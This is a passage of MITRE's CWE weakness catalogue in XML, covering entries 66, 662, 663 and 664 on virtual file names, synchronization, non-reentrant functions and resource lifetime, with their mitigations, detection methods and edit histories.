					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Mapping CWE to 62443" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-01-24</Contribution_Date>
               <Contribution_Comment>Suggested mappings to ISA/IEC 62443.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Weakness>
      <Weakness ID="66" Name="Improper Handling of File Names that Identify Virtual Resources" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not handle or incorrectly handles a file name that identifies a "virtual" resource that is not directly specified within the directory that is associated with the file name, causing the product to perform file-based operations on a resource that is not a file.</Description>
         <Extended_Description>Virtual file names are represented like normal file names, but they are effectively aliases for other resources that do not behave like normal files. Depending on their functionality, they could be alternate entities. They are not necessarily listed in directories.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="706" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Web Application Scanner</xhtml:li>
                           <xhtml:li>Web Services Scanner</xhtml:li>
                           <xhtml:li>Database Scanners</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Fuzz Tester</xhtml:li>
                           <xhtml:li>Framework-based Fuzzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Functional_Areas>
            <Functional_Area>File Processing</Functional_Area>
         </Functional_Areas>
         <Affected_Resources>
            <Affected_Resource>File or Directory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Virtual Files</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Affected_Resources, Applicable_Platforms, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Virtual Files</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-03-10">Failure to Handle File Names that Identify Virtual Resources</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="662" Name="Improper Synchronization" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product utilizes multiple threads or processes to allow temporary access to a shared resource that can only be exclusive to one process at a time, but it does not properly synchronize these actions, which might cause simultaneous accesses of this resource by multiple threads or processes.</Description>
	 <Extended_Description>
	   <xhtml:p>Synchronization refers to a variety of behaviors and mechanisms that allow two or more independently-operating processes or threads to ensure that they operate on shared resources in predictable ways that do not interfere with each other.  Some shared resource operations cannot be executed atomically; that is, multiple steps must be guaranteed to execute sequentially, without any interference by other processes.  Synchronization mechanisms vary widely, but they may include locking, mutexes, and semaphores.  When a multi-step operation on a shared resource cannot be guaranteed to execute independent of interference, then the resulting behavior can be unpredictable. Improper synchronization could lead to data or memory corruption, denial of service, etc.</xhtml:p>
	 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="691" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="362" View_ID="1000"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Other</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Read Application Data</Impact>
               <Impact>Alter Execution Logic</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use industry standard APIs to synchronize your code.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>SIG00-C</Entry_ID>
               <Entry_Name>Mask signals handled by noninterruptible signal handlers</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>SIG31-C</Entry_ID>
               <Entry_Name>Do not access shared objects in signal handlers</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>State synchronization error</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>VNA03-J</Entry_ID>
               <Entry_Name>Do not assume that a group of calls to independently atomic methods is atomic</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP19</Entry_ID>
               <Entry_Name>Missing Lock</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="25"/>
            <Related_Attack_Pattern CAPEC_ID="26"/>
            <Related_Attack_Pattern CAPEC_ID="27"/>
            <Related_Attack_Pattern CAPEC_ID="29"/>
         </Related_Attack_Patterns>
         <Notes>
	   <Note Type="Maintenance">Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc.  CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.</Note>
	 </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2008-04-11</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-23</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2010-09-27">Insufficient Synchronization</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="663" Name="Use of a Non-reentrant Function in a Concurrent Context" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product calls a non-reentrant function in a concurrent context in which a competing code sequence (e.g. thread or signal handler) may have an opportunity to call the same function or otherwise influence its state.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="662" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Other</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>Read Memory</Impact>
               <Impact>Modify Application Data</Impact>
               <Impact>Read Application Data</Impact>
               <Impact>Alter Execution Logic</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use reentrant functions if available.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Add synchronization to your non-reentrant function.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>In Java, use the ReentrantLock Class.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2001-1349</Reference>
               <Description>unsafe calls to library functions from signal handler</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1349</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2259</Reference>
               <Description>SIGCHLD signal to FTP server can cause crash under heavy load while executing non-reentrant functions like malloc/free.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2259</Link>
            </Observed_Example>
         </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="29"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-547" Section="Class ReentrantLock"/>
            <Reference External_Reference_ID="REF-548"/>
         </References>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2008-04-11</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated References, Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Name, Observed_Examples, Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Common_Consequences</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2010-09-27">Use of a Non-reentrant Function in an Unsynchronized Context</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-12-13">Use of a Non-reentrant Function in a Multithreaded Context</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="664" Name="Improper Control of a Resource Through its Lifetime" Abstraction="Pillar" Structure="Simple" Status="Draft">
         <Description>The product does not maintain or incorrectly maintains control over a resource throughout its lifetime of creation, use, and release.</Description>
         <Extended_Description>
            <xhtml:p>Resources often have explicit instructions on how to be created, used and destroyed. When code does not follow these instructions, it can lead to unexpected behaviors and potentially exploitable states.</xhtml:p>
            <xhtml:p>Even without explicit instructions, various principles are expected to be adhered to, such as "Do not use an object until after its creation is complete," or "do not use an object after it has been slated for destruction."</xhtml:p>
         </Extended_Description>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use Static analysis tools to check for unreleased resources.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO39-C</Entry_ID>
               <Entry_Name>Do not alternately input and output from a stream without an intervening flush or positioning call</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="196"/>
            <Related_Attack_Pattern CAPEC_ID="21"/>
            <Related_Attack_Pattern CAPEC_ID="60"/>
            <Related_Attack_Pattern CAPEC_ID="61"/>
            <Related_Attack_Pattern CAPEC_ID="62"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Maintenance">More work is needed on this entry and its children. There are perspective/layering issues; for example, one breakdown is based on lifecycle phase (CWE-404, CWE-665), while other children are independent of lifecycle, such as CWE-400. Others do not specify as many bases or variants, such as CWE-704, which primarily covers numbers at this stage.</Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Maintenance_Notes, Relationships, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
